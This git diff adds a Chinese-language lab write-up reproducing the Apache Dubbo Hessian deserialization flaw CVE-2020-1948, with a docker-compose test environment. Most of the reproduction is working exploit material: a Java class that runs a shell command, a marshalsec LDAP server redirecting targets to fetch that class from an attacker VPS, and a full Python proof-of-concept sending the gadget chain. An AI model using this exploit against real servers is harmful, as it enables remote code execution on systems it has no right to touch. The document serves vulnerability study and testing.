diff --git a/base/dubbo/2.7.7/docker-compose.yml b/base/dubbo/2.7.7/docker-compose.yml new file mode 100644 index 0000000..b0ff1ed --- /dev/null +++ b/base/dubbo/2.7.7/docker-compose.yml @@ -0,0 +1,9 @@ +version: "3" + +services: + api: + build: . + image: dsolab/dubbo:cve-2020-1948 + container_name: cve-2020-1948 + ports: + - "12345:12345" \ No newline at end of file diff --git a/开发框架漏洞/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948.md b/开发框架漏洞/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948.md new file mode 100644 index 0000000..ee35633 --- /dev/null +++ b/开发框架漏洞/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948.md @@ -0,0 +1,169 @@ +# Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948 + +## 漏洞描述 + +Apache Dubbo 是一款高性能 Java RPC 框架。漏洞存在于 Apache Dubbo 默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。 + +要想利用该漏洞需要满足以下条件: + +- Dubbo 服务端应用引入了 `com.rometools:rome:1.7.0` 或 `com.caucho:quercus:4.0.45` 等不安全的 rome、quercus 等第三方类库版本。 +- JDK 版本低于 `7u201` 或者低于 `8u191`(存在 RMI 或者 LDAP 这种 JNDI 注入方式),JDK 相关 RCE 漏洞利用方式及受影响的版本: + - 通过 RMI 协议加载远程 RMI Registry 上的恶意对象,受影响的 JDK 版本:低于 `6u45` 或者低于 `7u21`。 + - RMI + JNDI 注入,受影响的 JDK 版本:低于 `6u132`、低于 `7u122` 或低于 `8u113`。 + - LDAP + JNDI 注入,受影响的 JDK 版本:低于 `6u211`、低于 `7u201`、低于 8u191 或 `11u1`。 + +参考链接: + +- https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html +- https://hub.docker.com/r/dsolab/dubbo + +## 漏洞影响 + +``` +Apache Dubbo 2.7.0 to 2.7.6 +Apache Dubbo 2.6.0 to 2.6.7 +Apache Dubbo all 2.5.x versions(已不再更新维护) +``` + +准确地说,也影响了 2.7.7 和 2.6.8 版本,因为修复方案被绕过。 + +## 环境搭建 + +docker-compose.yaml + +``` +version: "3" + +services: + api: + build: . + image: dsolab/dubbo:cve-2020-1948 + container_name: cve-2020-1948 + ports: + - "12345:12345" +``` + +执行如下命令启动一个 Apache Dubbo 2.7.7 版本的服务器: + +``` +docker-compose up -d +``` + +服务启动后,监听在 `your-ip:12345` 端口。 + +## 漏洞复现 + +准备 exp.java,编译: + +```java +import javax.naming.spi.ObjectFactory; +import javax.naming.Name; +import javax.naming.Context; +import java.util.Hashtable; +import java.io.IOException; + +public class exp implements ObjectFactory { + @Override + public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) { + try { + Runtime.getRuntime().exec("touch /tmp/success"); + } catch (IOException e) { + e.printStackTrace(); + } + return null; + } +} +``` + +``` +javac exp.java +``` + +vps 开启 web 服务,托管编译后的 exp.class: + +``` +http://your-vps-ip/exp.class +``` + +启动 LDAP 服务,监听端口为 9999: + +``` +java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/#exp 9999 +``` + +本地构建测试脚本 poc.py: + +```shell +# -*- coding: utf-8 -*- + +import sys + +from dubbo.codec.hessian2 import Decoder,new_object +from dubbo.client import DubboClient + +if len(sys.argv) < 4: + print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) + print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) + sys.exit() + +client = DubboClient(sys.argv[1], int(sys.argv[2])) + +JdbcRowSetImpl=new_object( + 'com.sun.rowset.JdbcRowSetImpl', + dataSource=sys.argv[3], + strMatchColumns=["foo"] + ) +JdbcRowSetImplClass=new_object( + 'java.lang.Class', + name="com.sun.rowset.JdbcRowSetImpl", + ) +toStringBean=new_object( + 'com.rometools.rome.feed.impl.ToStringBean', + beanClass=JdbcRowSetImplClass, + obj=JdbcRowSetImpl + ) + +resp = client.send_request_and_return_response( + service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', + # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本 + method_name='$invoke', + args=[toStringBean]) + +output = str(resp) +if 'Fail to decode request due to: RpcInvocation' in output: + print('[!] Target maybe not support deserialization.') +elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: + print('[+] Succeed.') +else: + print('[!] Output:') + print(output) + print('[!] Target maybe not use dubbo-remoting library.') +``` + +运行测试脚本: + +``` +python poc.py your-ip 12345 ldap://your-vps-ip:9999/exp +``` + +![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142204566.png) + +可以看到,LDAP 代理成功接收请求,并将请求转发到 vps: + +``` +java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.8.0.1/\#exp 9999 +Listening on 0.0.0.0:9999 +Send LDAP reference result for exp redirecting to http://10.8.0.1/exp.class +``` + +![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142258289.png) + +![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142323434.png) + +命令被成功执行: + +![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142426975.png) + +## 漏洞修复 + +升级至最新版本。 diff --git a/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142204566.png b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142204566.png new file mode 100644 index 0000000..8a24dbd Binary files /dev/null and b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142204566.png differ diff --git a/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142258289.png b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142258289.png new file mode 100644 index 0000000..ee5fafc Binary files /dev/null and b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142258289.png differ diff --git a/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142323434.png b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142323434.png new file mode 100644 index 0000000..eb4b6c2 Binary files /dev/null and b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142323434.png differ diff --git a/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142426975.png b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142426975.png new file mode 100644 index 0000000..7de76c6 Binary files /dev/null and b/开发框架漏洞/images/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948/image-20250612142426975.png differ